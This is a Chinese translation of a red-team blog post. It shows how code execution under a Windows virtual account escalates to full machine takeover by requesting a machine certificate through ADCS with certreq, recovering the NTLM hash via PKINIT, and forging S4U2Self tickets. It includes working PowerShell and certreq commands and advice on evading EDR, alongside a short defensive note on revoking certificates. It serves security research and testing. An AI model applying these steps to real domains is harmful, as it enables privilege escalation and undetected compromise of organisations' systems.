成为机器：虚拟账户全面控制域环境的实战指南

导语：虽然核心概念并非新出，但我相信利用ADCS通过虚拟账户滥用来实现域内机器接管是一条此前未记录/未探索的攻击路径。让我先感谢我的同事Michael（https://www.linkedin.com/in/michael-mcin/），他不仅探索了今天的攻击路径，还搭建了家庭实验环境来开发这篇博客的PoC。

Michael和我当时一起做一个规模较大的内部渗透测试（假设已突破边界场景），他成功获取了客户MSSQL数据库的SA（系统管理员）账户凭据。第一时间就检查了执行命令的能力——果然可以执行: )

但遇到了一个主要障碍：目标机器上运行着CrowdStrike Falcon。这让情况变得复杂，因为我们没法简单地部署像GodPotato这样的工具（利用SeImpersonatePrivilege通过令牌操作提权到SYSTEM）来从拥有SeImpersonatePrivilege的虚拟账户获取SYSTEM权限。

为了突破这个限制，我的脑子里冒出一个猥琐的想法：如果虚拟账户在访问远程域资源时使用的是机器身份（Machine Identity），那能否利用这一点通过ADCS为MSSQL实例所在的机器申请一个机器模板证书？

虽然我们不确定能否简单做到这一点，还面临第二个障碍：不知道在有CrowdStrike的情况下如何不调用certify工具来实现。一小时后，经过深入研究微软文档，终于搞出了一种使用certreq原生二进制文件（Windows内置证书请求工具）配合手动填写inf文件的方法，而且有效！

快速总结（TLDR）

当你在Microsoft虚拟/服务账户上下文中获得代码执行权限时，可以在不需要任何先决条件权限的情况下（只需ADCS存在）为当前计算机请求证书。通过导出此证书，可以使用PKINIT恢复机器账号的NTLM哈希。有了NTLM哈希，就可以利用S4U2SELF制作银票来提升主机上的权限。

整个过程可以使用原生PowerShell和默认的Microsoft二进制文件完成，无需在被入侵的主机上安装额外工具。这种方法不需要虚拟账户权限以外的任何特殊权限，适用于任何存在ADCS的环境（只要有支持客户端身份验证EKU和域计算机注册权限的模板）。它可以作为标准土豆（Potato）漏洞利用的替代方案，后者更容易被EDR/AV解决方案检测和阻止。在没有ADCS的环境中，可以使用TGTDELEG技巧从主机提取机器TGT。这种方法还有一个额外好处：无需额外努力或完全入侵系统就能获得域凭据。

什么是虚拟账户？

虚拟账户是Windows的一项功能，为服务提供专用用户而无需创建和管理专用的域或本地用户账户。它们之所以”虚拟”，是因为其身份和身份验证工作流完全由本地机器的安全账户管理器（SAM）处理。常见例子包括Windows服务的NT SYSTEM前缀，如NT SYSTEMNetwork Service，或IIS应用程序池的IIS APPPOOL前缀，如IIS APPPOOLDefaultAppPool。这些账户一个常被滥用的特性是默认拥有SeImpersonatePrivilege，允许它们在系统上模拟其他用户。

与我们滥用相关的另一个特性是：当虚拟账户访问域资源时，它使用的是计算机账户（DOMAINCOMPUTER$）凭据。这意味着当你尝试访问SMB共享，或使用虚拟账户请求TGT、TGS或证书时，你实际上是在以主机计算机账户的身份执行这些操作。

前置条件

在深入了解这项技术之前，你需要准备：

拥有虚拟账户的远程代码执行权限
目标环境存在ADCS
存在允许域计算机注册且具有客户端身份验证EKU的模板
能访问证书颁发机构服务器和域控制器/KDC的网络

虚拟账户滥用的起点

为了简化PoC，我们使用PsExec以NT SYSTEMNetwork Service账户生成shell，但你也可以选择任何你想要的虚拟账户，不受当前身份验证会话限制。最初的发现来自我们获得数据库SA访问权限并使用xp_cmdshell以NT SYSTEMNETWORK SERVICE执行命令。

首先需要创建一个inf文件，定义传递给CA申请证书时的标志和信息：

$infContent = @"
[NewRequest]
Subject = "CN=$env:COMPUTERNAME"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.2 ; Client Authentication
"@

# Save the INF file
$infContent | Out-File -FilePath "C:WindowsTaskscert.inf"

关于inf文件的格式，有几点需要说明：，我们将subject设置为正在执行操作的计算机，因为我们假设你已经入侵了虚拟账户，只需要在目标上进行远程代码执行。

另一个关键设置是将MachineKeySet设为False。如果设为True，私钥将被判定为属于本地计算机账户。虽然密钥在技术上确实属于计算机账户，但将其设置为False可以让我们无需提升权限就能导出它。

现在创建了inf文件，我们将其转换为证书请求文件，以便提交给CA：

certreq -new "C:WindowsTaskscert.inf" "C:WindowsTaskscert.req"

生成了证书请求文件后，现在需要将其提交给证书颁发机构。-attrib参数指定我们请求的证书模板（本例中为Machine模板）：

certreq -submit -config "CA-SERVERCA-NAME" -attrib "CertificateTemplate:Machine" "C:WindowsTaskscert.req" "C:WindowsTaskscert.cer"

注意：通过修改INF文件中的subject或其他滥用模式，此技术可以适应其他场景，如ESC1滥用。

获取证书后，需要转换其格式并设置密码，以获得pfx格式的证书，这样就可以使用PKINIT获取机器账户的NTLM哈希。注意这里我们使用-user标志将证书存储在操作所在的虚拟账户上下文的用户证书存储中，不是因为这是用户证书：

 $thumb = (certreq -accept -user -f "C:WindowsTaskscert.cer" 2>&1 | Out-String | Select-String -Pattern '[0-9A-Fa-f]{40}' -AllMatches).Matches[0].Value; certutil -user -exportPFX -p "pass" $thumb "C:WindowsTaskscert.pfx"

创建了pfx格式的证书后，你有多种选择：可以将其从目标系统转移到你自己选择的系统继续滥用，或使用PassTheCert等工具在目标主机上使用。

有了pfx格式的证书，我们使用certipy的auth命令，该命令使用PKINIT从使用证书向KDC进行身份验证时返回的TGT中提取NTLM哈希：

有了NTLM哈希后，我们继续滥用Kerberos扩展S4U2SELF（Service for User to Self，允许服务代表任何用户获取到自身的服务票证）来模拟wscb02的管理员，从而在不运行任何有效载荷的情况下，从虚拟账户完全沦陷这台机器：

没有ADCS也没问题：TGTDeleg

还有另一个重要的滥用路径与此类似，但完全不需要ADCS。Charlie Clark记录了一种方法，可以通过Rubeus的tgtdeleg技巧在以虚拟账户执行时直接从内存提取机器账户的TGT。这是因为当虚拟账户为委托目的请求TGT时，它是以机器账户的身份执行的。与上述方式相同，有了机器账户的TGT后，你可以执行S4U2SELF来完成机器接管。更多细节见：https://exploit.ph/revisiting-delegate-2-thyself.html

结语与后续

一个小提示：当机器证书被入侵后，只要计算机的主机名保持不变，更改机器账户密码、重装/重镜像计算机以及其他大多数措施都不会撤销生成的证书。在发生入侵的情况下，你需要从最后一个已知良好日期开始向后撤销该端点的所有已颁发证书。

这篇文章的重要结论是：土豆漏洞利用并不是在虚拟账户运行时提权的唯一方法，甚至可以说不是首选方法。通过机器账户注册滥用ADCS，或使用TGTDELEG+S4U2SELF是实现完全机器接管的更好方法——不会引起太多警报，也不需要清理。它们还有一个额外好处：让你获得有效的域凭据，而无需通过额外入侵端点和转储凭据来潜在触发检测。

后续步骤是继续探索还有多少不同场景可以被滥用，从而生成并提取证书——而不是标准的漏洞利用或通过NTLMV2哈希凭据泄露。

出处：https://www.abdulmhsblog.com/posts/iammachine/

文章版权归作者所有，未经允许请勿转载。

THE END